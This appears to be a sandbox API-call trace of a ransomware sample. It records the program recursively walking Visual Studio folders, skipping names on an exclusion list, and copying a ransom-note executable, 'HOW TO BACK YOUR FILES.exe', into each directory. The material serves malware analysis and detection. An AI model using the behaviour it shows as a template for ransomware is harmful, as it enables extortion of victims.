	[0053.015] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="Apollon865.txt.exe") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2=".") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="..") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="windows") returned -1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="bootmgr") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="temp") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="pagefile.sys") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="boot") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="ids.txt") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="ntuser.dat") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="perflogs") returned 1
	[0053.015] lstrcmpiW (lpString1="VSTA", lpString2="MSBuild") returned 1
	[0053.015] lstrlenW (lpString="VSTA") returned 4
	[0053.015] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned 77
	[0053.015] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="VSTA" | out: lpString1="VSTA") returned="VSTA"
	[0053.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0053.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0053.016] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0053.016] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0
	[0053.016] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.016] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0053.016] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA"
	[0053.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0053.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0053.016] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned 65
	[0053.016] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA"
	[0053.016] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.016] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.020] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.021] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.021] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.021] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.021] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.021] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.021] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.021] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ac7430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.021] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.021] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="Apollon865.txt.exe") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2=".") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="..") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="windows") returned -1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="bootmgr") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="temp") returned -1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="pagefile.sys") returned -1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="boot") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="ids.txt") returned 1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="ntuser.dat") returned -1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="perflogs") returned -1
	[0053.021] lstrcmpiW (lpString1="ItemTemplates", lpString2="MSBuild") returned -1
	[0053.021] lstrlenW (lpString="ItemTemplates") returned 13
	[0053.021] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*") returned 67
	[0053.021] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="ItemTemplates" | out: lpString1="ItemTemplates") returned="ItemTemplates"
	[0053.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0053.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5995a0
	[0053.021] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0053.021] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 0
	[0053.021] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.021] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0053.022] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates"
	[0053.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0053.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0053.022] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned 79
	[0053.022] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates"
	[0053.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.029] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.029] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.029] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.029] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.029] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.029] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.029] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.029] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.029] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.030] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSharp", cAlternateFileName="")) returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="Apollon865.txt.exe") returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2=".") returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="..") returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="windows") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="bootmgr") returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="temp") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="pagefile.sys") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="boot") returned 1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="ids.txt") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="ntuser.dat") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="perflogs") returned -1
	[0053.030] lstrcmpiW (lpString1="CSharp", lpString2="MSBuild") returned -1
	[0053.030] lstrlenW (lpString="CSharp") returned 6
	[0053.030] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*") returned 81
	[0053.030] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="CSharp" | out: lpString1="CSharp") returned="CSharp"
	[0053.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0053.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x5995a0
	[0053.030] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0053.030] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ac7430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.030] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.030] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2="Apollon865.txt.exe") returned 1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2=".") returned 1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2="..") returned 1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2="windows") returned -1
	[0053.030] lstrcmpiW (lpString1="VisualBasic", lpString2="bootmgr") returned 1
	[0053.030] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="VisualBasic" | out: lpString1="VisualBasic") returned="VisualBasic"
	[0053.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0053.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0053.031] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0053.031] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 0
	[0053.031] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.031] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0053.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic"
	[0053.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0053.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0053.031] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned 91
	[0053.031] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic"
	[0053.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.036] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.036] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aed590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.036] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.036] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.036] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aed590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.036] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.036] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.036] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0053.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0053.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5afa60
	[0053.036] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0053.036] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aed590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.036] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.036] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aed590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.036] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.036] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0053.036] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033"
	[0053.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0053.036] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033") returned 96
	[0053.036] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033"
	[0053.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
